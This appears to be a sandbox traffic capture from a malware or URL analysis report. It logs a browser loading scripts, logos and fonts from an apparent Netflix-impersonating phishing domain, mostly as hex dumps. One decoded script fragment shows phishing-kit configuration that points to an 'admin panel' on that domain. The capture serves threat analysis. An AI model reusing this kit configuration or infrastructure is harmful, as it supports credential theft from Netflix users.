Feb 22, 2025 00:51:36.238987923 CET	1236	IN	Data Raw: fb 90 e2 3e 4a 71 1f 52 dc 47 29 ee 43 8a fb 28 c5 7d 48 71 1f a5 b8 0f 29 ee a3 14 f7 21 c5 7d 94 e2 3e a4 f8 0a a5 f8 0a 52 7c 85 52 7c 05 29 be 42 29 be 82 14 5f a1 14 5f 41 8a af 50 8a af 20 c5 57 28 c5 57 90 e2 2b 94 e2 2b 48 f1 15 4a f1 15 Data Ascii: >JqRG)C(}Hq)!}>R\|R\|)B)__AP W(W++HJR\|R\|) xR<PJR<@)@(Hx) R\|R\|)F)__CQ!(kkH5J5R\|R\|)NPHqR@R'8'(8
Feb 22, 2025 00:51:36.238998890 CET	896	IN	Data Raw: 33 1a a2 9e d1 10 7a 46 43 d4 33 1a 42 cf 68 88 6a 3d 21 d4 7a 42 54 eb 09 a1 d6 13 a2 5a 4f 08 b5 9e 30 42 27 38 82 13 1c a1 13 1c c1 09 8e d0 09 8e e0 04 47 e8 04 47 70 82 df a3 73 f7 1e ce dd 7b 74 ee de c3 b9 7b 8f ce dd 7b 38 77 ef d1 b9 7b Data Ascii: 3zFC3Bhj=!zBTZO0B'8GGps{t{{8w{=:wG=s`"T2hUF#F2Ae4BFPPe4hTF#a91#uXGa:#aAu:#Pu:BtXG..uE."
Feb 22, 2025 00:51:36.239008904 CET	1236	IN	Data Raw: 06 8b 1a 6b 51 ce c7 ae 05 44 e8 f3 eb f2 9e b9 bc 2b 9a 5e 86 7d e3 7e bc cc 53 df d9 38 fe ab 2c 73 81 4a d0 33 0e 1c e2 44 c6 cb 5c a0 58 74 cd 4d 97 f9 ed e6 e5 0b fb d5 2c f3 51 db d1 32 0f 5d 27 70 c8 2f 54 67 55 b8 e5 55 44 0f 4d 9d 8d d3 Data Ascii: kQD+^}~S8,sJ3D\XtM,Q2]'p/TgUUDMJq]y+K4JWCQl2gK4\tK4LM~z9!J(6W7ETn^_!g9U!Fsh[[FQ`GzI"rRCDk
Feb 22, 2025 00:51:36.239020109 CET	1236	IN	Data Raw: 2d e9 75 f2 e9 91 fa 75 33 94 a6 19 df 0c 68 f4 2a 4c 88 59 cc 83 4f 5c 7d a8 fe 6d 3a 07 23 92 4d 87 37 ff e2 19 f8 f6 c7 2d b3 5d 51 56 d4 e6 df 38 5f 79 9e de ac 5f ea a4 c5 b1 dc 74 d5 02 97 60 b7 72 d8 56 f6 21 2b 1e 5a 05 e3 57 4d ff 57 4d Data Ascii: -uu3h*LYO\}m:#M7-]QV8_y_t`rV!+ZWMWMMagkbiln_kl%rN2v>%XhZCu:k280.g5YrtFS[z7rgMl1DuNJw@d) eZt7Fz/
Feb 22, 2025 00:51:36.239032030 CET	1236	IN	Data Raw: 72 aa 45 1c f2 8d 0e ba f9 bf 2e 8b f2 2b 3e 8f 53 b3 8d 44 62 f5 0c 86 70 72 b1 fd 50 ee 4a d4 a4 c1 53 b5 dc c3 23 99 c1 94 f0 96 a1 62 d2 70 33 6b 9b 97 71 73 c7 f8 79 2e b3 f0 01 c9 67 6f 2a de d9 dc 82 62 f3 14 6c fd ac 33 c8 e1 04 95 ff a5 Data Ascii: rE.+>SDbprPJS#bp3kqsy.go*bl3MrC2jR{T6@-dhh0^4I'^]Ajop0\iM4-Jx^3ppibFK]=mgnxw1K;r~!
Feb 22, 2025 00:51:36.239223003 CET	1236	IN	Data Raw: 92 04 5d c0 14 3f 01 d9 77 aa 23 d8 94 f8 ab b9 51 f2 3e be f6 fc d1 9a f3 8f 4f 20 60 59 ff 85 77 59 71 8e f3 2c bd 7c cc fd 88 db bd b4 82 4c c9 af 31 dc 7a 6a e9 ec a9 a9 db 3b a2 b3 9c 0c d6 32 d0 4f 30 ef ea 2f ec 2e c3 17 0d cd 7f b8 68 82 Data Ascii: ]?w#Q>O `YwYq,\|L1zj;2O0/.hl1}Y^Z]u}$XyI4VEAce:djt!V,6i m gV;<<Lf1g;~)$w}YNz.0[__PN=DQ
Feb 22, 2025 00:51:36.239234924 CET	328	IN	Data Raw: 58 1c 7b f4 04 91 6c f3 9b c0 77 ed ea 7c 99 e6 71 0b bb f4 68 42 25 99 a8 0c 31 ae 7c e6 fb d7 db bd b5 7f 73 ad 7f 79 ac e8 36 7b 6a 3f 70 f1 c2 c6 bd cc eb fd 5a 30 db 51 37 69 fd c9 f3 f0 6e 21 ff 61 c9 b9 6e f0 37 6c 45 4d bd 18 12 36 11 42 Data Ascii: X{lw\|qhB%1\|sy6{j?pZ0Q7in!an7lEM6B&fRr'zeueznI[KJf8HDzp@USS90?KvQ'y\|o~ARmqQh/)HUC;3g\|DC3{sAN
Feb 22, 2025 00:51:36.248677015 CET	1236	IN	Data Raw: 47 53 46 5f d6 ee 7a 73 3f 4c 68 01 48 be 00 63 62 76 2e 44 29 40 4a c4 e7 cf 5a 48 fc b7 4e dc f4 96 03 88 99 e9 68 cf 93 e9 7f d2 86 f0 42 0a 23 a5 08 e4 c0 84 f0 c6 70 b0 29 c7 bf ea 15 ae 38 ce 18 c9 04 55 7a 1e e4 79 28 07 0a 48 07 ac d2 70 Data Ascii: GSF_zs?LhHcbv.D)@JZHNhB#p)8Uzy(Hpod`b&V!6!Jl?vH/]2Z1>^W\t=A=UB[8~Xfc42EpOf?r\|h!KqxUf)Wv$$~\|eE8\|S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	188.114.96.3	80	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Feb 22, 2025 00:51:36.120264053 CET	336	OUT	GET /e/js/sm.js HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://netflix-official.com/e/authID=ek3Lf Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Feb 22, 2025 00:51:36.612613916 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:36 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1578 Last-Modified: Fri, 21 Feb 2025 23:25:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G5nnw0jcC0mBZCkc5mrWtBKS4axfeq7rIiApDSw49d2Jvd4v2shwUB0B9cUhi5vrOnl4QSOqXJs6Ou4ka0qgAWFif8K6s1Ync67juZ7eKL13ojWsJhH1e6Bcqoa1OSVHyxczoFmIHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 915aa5356c311a2c-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2000&min_rtt=2000&rtt_var=1000&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=336&delivery_rate=0&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 32 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 e5 3d 6b 57 db b8 b6 9f 61 2d fe 83 ca b4 b1 3d 09 79 41 68 69 30 73 79 76 38 a5 8f 5b e8 cc b9 a7 53 b2 14 5b 71 54 1c db 23 2b 40 0a fc f7 bb 24 f9 fd c6 61 7a e6 dc db ae 96 44 96 b6 f6 4b 7b 6f 6d c9 9b 6b 48 c0 68 34 1a 39 37 ba 2a 49 c3 b5 d5 6b 48 00 be 42 0b a0 02 c9 b2 2d e4 b7 d1 5b 3a 9a 43 a0 02 0b 5e 63 03 52 9b b4 e7 2e 22 fb 06 b2 a8 d7 c5 45 96 3e 1a 9b b6 76 35 9a 98 86 da f5 9a c7 d0 84 96 86 92 00 11 9d 8e 08 d2 b0 83 91 45 d5 d8 23 6f 44 06 2c cd 9e 5b 34 d6 e2 52 67 d6 63 0d c0 6f 31 0d 2b d6 e3 23 c1 d7 90 a2 d1 99 6d 60 6b f4 16 2d 42 42 01 d4 04 44 a8 eb 04 b9 ae 0a d2 8f 7e c3 e8 86 8f ca 78 76 ee 30 92 13 0f 67 10 5b 26 b6 ae 54 e9 06 9a 26 a2 fe 83 51 ff 64 7f 44 6f 69 38 bd 00 e2 52 27 86 2f 9c d3 69 d8 67 6c d3 11 d6 55 69 5f 4c c9 9a c5 df c9 dc d2 28 b6 2d 30 de de 3a b6 34 5b 47 9f 2d cc 7e Data Ascii: 1323=kWa-=yAhi0syv8[S[qT#+@$azDK{omkHh497*IkHB-[:C^cR."E>v5E#oD,[4Rgco1+#m`k-BBD~xv0g[&T&QdDoi8R'/iglUi_L(-0:4[G-~
Feb 22, 2025 00:51:36.612634897 CET	1236	IN	Data Raw: c8 2e 25 0a b8 5b 5b 05 00 80 4e 07 4c 30 71 29 b8 41 60 ee 22 80 44 cf 4f a7 87 f6 cc b1 2d 64 51 40 6d 60 20 0a 1c 44 34 64 d1 0d d1 43 07 9f 2f 4e 36 5e b5 02 28 74 8a 2c 06 44 b3 ad 6b 44 28 fb ee 0f 11 40 b1 65 b8 00 5b d4 06 04 de 80 f1 82 Data Ascii: .%[[NL0q)A`"DO-dQ@m` D4dC/N6^(t,DkD(@e["L6@hc&Hm :'o(r9&y!no\|?(CBsCCAM[lxS-=!p!@1*[C}9 8k18-7&pn1>(
Feb 22, 2025 00:51:36.612647057 CET	448	IN	Data Raw: 53 6c ea 72 0c 9c 92 cd 61 9e 31 d3 ed 1b 4b 06 48 74 64 10 5b 60 86 ad 39 45 6e 0b b8 48 b3 2d dd 05 ca da aa 67 c6 78 66 52 f4 6d 01 64 e9 4c d3 5b 60 6a cf 89 cb c7 b1 ff dd 33 34 a1 2d 40 f1 cc b7 2d d1 c4 d3 8d 7d 84 0d 4c 5d 19 58 20 65 22 Data Ascii: Slra1KHtd[`9EnH-gxfRmdL[`j34-@-}L]X e"}'[`W;]M`Raj!E"a6DBfvA*#acfD}tQr">NGLIyTi_YN93FY7_HWk
Feb 22, 2025 00:51:36.612677097 CET	1236	IN	Data Raw: c9 66 1d 13 a4 b1 f3 16 68 a8 3d 4f de e1 a6 31 68 c9 09 62 a4 20 b6 e2 0d 22 62 02 e7 53 fb 06 60 4b b3 09 83 2d 36 69 1d 16 68 48 2d 20 75 25 5f 31 1f b9 87 8c ee ca 0a f7 b1 bd fc 00 34 77 1c b5 1d 8f b4 c2 5c 48 a5 bc 41 f9 0e a3 42 fe 60 49 Data Ascii: fh=O1hb "bS`K-6ihH- u%_14w\HAB`I FE#CRO\|k,;CBR$bj"U:+l~dbXPJ6SXpFxEqf'ezO6r-{HT[SrxG
Feb 22, 2025 00:51:36.612688065 CET	1236	IN	Data Raw: c6 02 1d 70 88 e9 a2 18 96 86 e9 a2 08 d0 47 db e5 c6 ab 18 8a e3 f5 2a 44 89 99 de a9 6d 21 20 8c 5a 31 44 ea f7 8e db dc 2c c0 fc 0d b2 62 68 19 af 8f 89 75 e1 ed 02 03 58 bb e3 3d 7f 09 e7 2c 24 76 74 50 be 8e e2 67 1d 99 8c f5 72 d2 25 8c 4d Data Ascii: pGDm! Z1D,bhuX=,$vtPgr%Md ^/yJ[zLiUy<(M>\^%L,88]rigwy<;u/yg):L_29BbMe)Bq%2U]!\J-,~IKY%%\ .
Feb 22, 2025 00:51:36.612699032 CET	462	IN	Data Raw: ea 75 e0 36 e4 6f ae 6d 29 77 d1 3a 46 a9 a6 87 f8 c7 95 87 ec ba 29 29 d9 88 1f 2c 14 6b 81 89 c1 8a 84 3b 4e 70 6a 94 ac c6 25 4a cc a8 52 d3 71 9c a6 d4 28 2f ce c5 01 ab 52 33 fc d2 94 0a aa d2 f0 1a 34 0d 8e a3 37 30 ec 36 31 a6 ac 4f 50 d4 Data Ascii: u6om)w:F)),k;Npj%JRq(/R347061OP}bEZ75EPC2Uf`zl_n//Ary9/,!Z[]y:[3}1`}Jq-kG-^DT<V=
Feb 22, 2025 00:52:21.628055096 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	188.114.96.3	80	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Feb 22, 2025 00:51:36.232706070 CET	415	OUT	GET /e/img/FB-f-Logo__blue_57.png HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://netflix-official.com/e/authID=ek3Lf Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Feb 22, 2025 00:51:36.640563965 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:36 GMT Content-Type: image/png Content-Length: 1455 Connection: keep-alive Host: netflix-official.com Age: 5711 Cache-Control: max-age=14400 cf-cache-status: HIT last-modified: Fri, 21 Feb 2025 22:16:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dyFjYe6KIwhiX6uysgR40wzEGJieXKe%2Fh%2BuDFzmb%2FJGeru3McKWTAJR22q%2BkX%2BCgNRrvy6XiYBdbYNgi%2FbaGPqlosGVhNTb509%2FqKU8vZE8xejS8YzhVRZ7DGbQqrvYkpUw5KO0l8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 915aa535684841ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1744&min_rtt=1744&rtt_var=872&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=415&delivery_rate=0&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 39 00 00 00 39 08 06 00 00 00 8c 18 83 85 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 68 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d Data Ascii: PNGIHDR99tEXtSoftwareAdobe ImageReadyqe<hiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-
Feb 22, 2025 00:51:36.640634060 CET	1131	IN	Data Raw: 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 Data Ascii: ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:05801174072068118083CC138
Feb 22, 2025 00:51:36.694427967 CET	389	OUT	GET /e/fonts/nf-icon-v1-93.woff HTTP/1.1 Host: netflix-official.com Connection: keep-alive Origin: http://netflix-official.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://netflix-official.com/e/css/none.css Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Feb 22, 2025 00:51:36.809123993 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:36 GMT Content-Type: font/woff Content-Length: 73572 Connection: keep-alive Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6149 Last-Modified: Fri, 21 Feb 2025 22:09:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nGQQx8a%2ByMS%2FqTdnWrKOtIKdgna0XUm5lgdW0i2TG35SnIQanF3lAClf%2F72SlVA2LvSmtdDOJxQZWA7zgOiNawPcRKhGF2zVe%2FnozO6ze5Aj9xvz1amdMfOAEXFAASxgGbvC1sDWFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 915aa536aa2c41ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1750&min_rtt=1744&rtt_var=666&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2367&recv_bytes=804&delivery_rate=1626740&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 77 4f 46 46 4f 54 54 4f 00 01 1f 64 00 0a 00 00 00 01 65 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 46 46 20 00 00 08 c0 00 01 16 97 00 01 56 07 43 48 0d 27 47 53 55 42 00 01 1f 58 00 00 00 0a 00 00 00 0a 00 01 00 00 4f 53 2f 32 00 00 03 a8 00 00 00 49 00 00 00 60 67 ac 62 01 63 6d 61 70 00 00 05 44 00 00 03 67 00 00 05 24 98 66 99 56 68 65 61 64 00 00 00 fc 00 00 00 33 00 00 00 36 22 da ea 87 68 68 65 61 00 00 03 88 00 00 00 20 00 00 00 24 1a cd 15 f2 68 6d 74 78 00 00 01 30 00 00 02 57 00 00 06 42 4d 66 13 69 6d 61 78 70 00 00 00 f4 00 00 00 06 00 00 00 06 01 91 50 00 6e 61 6d 65 00 00 03 f4 00 00 01 4e 00 00 02 7c 58 4e 18 6c 70 6f 73 74 00 00 08 ac 00 00 00 13 00 00 00 20 ff b8 00 32 00 00 50 00 01 91 00 00 78 01 63 60 64 60 60 60 14 ef f5 6f 6c a9 8a e7 b7 f9 ca c0 cc 7c 80 01 08 ae f5 1c 0f 84 d1 ff 3f fd 9f 2f b6 83 05 a4 92 99 81 09 24 0a Data Ascii: wOFFOTTOdeCFF VCH'GSUBXOS/2I`gbcmapDg$fVhead36"hhea $hmtx0WBMfimaxpPnameN\|XNlpost 2Pxc`d```ol\|?/$
Feb 22, 2025 00:51:36.809146881 CET	1236	IN	Data Raw: 00 8b 8b 0e 35 00 78 01 ad 92 03 0c 1d 41 14 45 ef ce ce 6c 6d db b6 1b d4 46 50 db b6 6d db b6 6d bb fd 88 93 3a ae 6d db bd e9 9b fc ad 9d e4 e4 dc f7 f6 fe dd 9d ec 57 71 d1 3c d6 45 40 2d 00 62 36 11 9c d3 82 1b 20 87 ff 1e 5d f0 db 9d da 0a Data Ascii: 5xAElmFPmm:mWq<E@-b6 ]%0b~N%MSP)3sWD*3z8;!ZLrx1v10A_Qn/{fk@g~KBrX{h:%J":DL:%-=L?s+}22xA^
Feb 22, 2025 00:51:36.809159040 CET	448	IN	Data Raw: 5d 83 3a 45 97 e8 7a dd a6 21 8b 4d b3 79 b6 cc b6 d9 76 1b b4 53 ec 4a bb de ee 77 b8 a0 9b e2 96 b8 f5 2e e4 0e bb 53 61 c2 69 e1 76 8f 4f f3 65 be cd b7 fb a0 9f e2 67 fb 25 7e fd 0f 52 28 42 24 2d 52 f6 93 24 4b f8 17 23 c0 2c e6 b0 8e dd 1c Data Ascii: ]:Ez!MyvSJw.SaivOeg%~R(B$-R$K#,y'Fb$O drV.5y,<SbpcfYai$e`E41G<$D2)F:dE69G>RD1%RF9TRE55RG=4~'$5mma/"E#Vx%I
Feb 22, 2025 00:51:36.809216022 CET	1236	IN	Data Raw: db 76 ec da b3 ef c0 a1 23 c7 4e 9c 3a 73 ee c2 a5 2b d7 6e dc ba 73 ef c1 a3 27 cf 5e bc 7a f3 ee c3 a7 2f df 7e fc fa 0b 11 91 10 89 91 14 c9 91 12 a9 91 16 e9 91 11 99 91 15 d9 91 13 b9 91 17 f9 51 10 85 51 14 c5 51 12 a5 ff 05 c1 83 71 04 00 Data Ascii: v#N:s+ns'^z/~QQQqmm^8$J,E42d-G<RD2TRF:4jE6:tG>2l1&L2m9,Zl56lm=:r3.\r;<z7>\|?A!aQDxc`f
Feb 22, 2025 00:51:36.809226990 CET	1236	IN	Data Raw: 98 20 32 e4 b9 01 0d e0 19 0a 58 86 09 32 43 85 00 2c b3 02 ca 30 83 87 04 8e 2b 1e 22 18 70 90 c1 42 00 9e bb 08 16 02 18 f0 20 a0 e0 20 01 ab bd 03 01 03 16 14 3c f0 43 30 60 41 38 cb 90 20 72 a6 c0 0f 31 40 04 cf 59 04 0f 81 33 b6 24 0f 16 14 Data Ascii: 2X2C,0+"pB <C0`A8 r1@Y3$dR#Wr&(gR Px,$A'Xp $\| 34H B (,8(l"8AQ=(7XpCG(g@L0T!9P0`bIdH
Feb 22, 2025 00:51:36.809355974 CET	1236	IN	Data Raw: 83 23 51 2d 8d 65 b6 34 7a 0f 34 d9 08 ae eb e0 c1 2e a9 af 90 ed da 76 70 93 98 87 47 4c e2 f3 b2 de 3b 37 23 0f 4f 60 00 9b 1a 1a d0 d7 79 32 43 3b 9e 6e 39 9e 99 7e e9 1a ee 6c 92 29 29 2b 2b 95 ce 7d c1 96 b4 97 75 8a e9 24 d3 d9 de de 29 f5 Data Ascii: #Q-e4z4.vpGL;7#O`y2C;n9~l))++}u$)}v\x}^Q/F1#Af,GO*IsHld<zMq\f7yQF_hwdTb]__dTlxbK6,
Feb 22, 2025 00:51:36.809367895 CET	1236	IN	Data Raw: b6 a3 ad 68 16 9a 8b ca 60 58 06 95 45 59 06 c3 b2 ff 3e 7a 8c b3 48 81 90 97 24 19 1a 87 c7 41 22 d9 98 dd 10 df db 52 97 6b 04 55 59 82 50 22 61 ab 4d aa 71 99 b8 27 ea 84 23 c7 da 9f 78 c1 f6 42 d9 13 6b 8e 89 4a d8 0f cd f6 54 a5 98 d7 df db Data Ascii: h`XEY>zH$A"RkUYP"aMq'#xBkJTw]h.hOLNj-a$D<ephTqGnWj}Qq=nr99-W8T'Au;\x<DjsY@IBbLe#?/\|PT6Ez3Eq0{dt$9#e
Feb 22, 2025 00:51:36.809379101 CET	1236	IN	Data Raw: 8c 33 c6 28 73 cc 32 c3 34 f3 4c 31 c9 04 1b d8 c8 3a 36 b1 9e b5 2c b2 c0 2e 76 b0 9d ad 6c 63 0b 3b d9 cc 41 f6 72 88 fd ec e3 00 bb d9 c3 11 0e 9b 25 c6 18 8c 8c 05 ff 1a 5b 63 67 ec 8d b5 71 30 36 c6 d2 58 19 67 e3 64 3c 8c 8b 71 34 6e c6 d5 Data Ascii: 3(s24L1:6,.vlc;Ar%[cgq06Xgd<q4nO:0=nc7!6om0[yh@3M%ZhBkWnz4HMg`#%F1q/Gc<$bz3%fo0\|E0Qhh4OB47y
Feb 22, 2025 00:51:36.809545040 CET	1236	IN	Data Raw: e5 57 22 f2 16 7d dd 27 3c db ee 7f dd 5a 15 65 db c3 50 b6 4b 78 5e 88 00 15 62 cb b6 55 c2 57 18 06 bd bf 21 c4 81 e7 e4 24 5a 70 e3 e1 51 46 7f 63 b4 da 5b 1d 25 0d 0b 71 f0 75 19 34 13 f0 8e 7b 8a 9b f4 6d 13 7d af 04 84 28 69 b8 62 b4 0c f6 Data Ascii: W"}'<ZePKx^bUW!$ZpQFc[%qu4{m}(ib?mU_.UfVEyV_de^V\|ue0Y1lyu35Mih2\|qj1}:7*<}Zeyt':t`nx!_ETW7u5cT-1?
Feb 22, 2025 00:51:36.809876919 CET	1236	IN	Data Raw: dd cb a9 d5 9a 9d cf 24 da a3 91 93 e5 bc fa 96 da a3 ea 49 1e e6 d0 1b dd 08 56 c7 7f 6e 9e a3 cd 6f 4a f2 5c 3d c9 ac d7 9d 90 de 0c 19 b1 7e 61 49 d2 60 6d 67 19 95 84 99 38 93 e0 ef e3 74 7b bf 4b 0c 5e d7 d9 40 6f 27 12 cc fb 5d c7 98 f8 e2 Data Ascii: $IVnoJ\=~aI`mg8t{K^@o'].3\|$5F-jTNYWf^_yRoq)wz<XF`w1]16+mvPlzK.U'`Ok?RwXc5l?Js~?>lOS0a

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49722	188.114.97.3	443	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:51:37 UTC	358	OUT	GET /e/js/wallet.js HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:51:37 UTC	373	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:37 GMT Content-Type: application/javascript Content-Length: 239 Connection: close Server: cloudflare Accept-Ranges: bytes Host: netflix-official.com Cache-Control: max-age=14400 Cf-Cache-Status: HIT Age: 1579 Last-Modified: Fri, 21 Feb 2025 23:25:18 GMT CF-RAY: 915aa53a5917428f-EWR alt-svc: h3=":443"; ma=86400
2025-02-21 23:51:37 UTC	239	IN	Data Raw: 76 61 72 20 6a 73 5f 73 74 61 74 3d 27 68 74 74 70 73 3a 2f 2f 6e 65 74 66 6c 69 78 2d 6f 66 66 69 63 69 61 6c 2e 63 6f 6d 2f 61 64 6d 69 6e 27 3b 20 20 20 2f 2f 20 61 64 6d 69 6e 20 70 61 6e 65 6c 20 6c 69 6e 6b 0d 0a 0d 0a 76 61 72 20 75 73 65 72 5f 69 6e 5f 70 61 67 65 5f 61 6c 65 72 74 3d 27 31 27 3b 20 2f 2f 20 30 20 2d 20 ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd 20 ef bf bd 20 ef bf bd ef bf bd ef bf bd 2e 20 31 20 2d 20 ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd 20 ef bf bd 20 ef bf bd ef bf bd ef bf bd 20 ef bf bd 20 ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd Data Ascii: var js_stat='https://netflix-official.com/admin'; // admin panel linkvar user_in_page_alert='1'; // 0 - . 1 -

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49723	188.114.97.3	443	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:51:37 UTC	354	OUT	GET /e/js/sm.js HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:51:37 UTC	921	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:37 GMT Content-Type: application/javascript Content-Length: 25841 Connection: close Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1579 Last-Modified: Fri, 21 Feb 2025 23:25:18 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YpWeUTGLGK3y4QBw1Loe0zGfu6HJfQaph8FiEiXAjmN3ts1H%2FNYTSSPsVx6ixUvcRhK4RTOC%2FwuNxuepAcZ7XdwdTiPtWSaMRQXd1hMx4VtHb3AskABpLO7NoV6RPFPnfhMG0lZxXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aa53c4e7c0c92-EWR alt-svc: h3=":443"; ma=86400 server-timing: 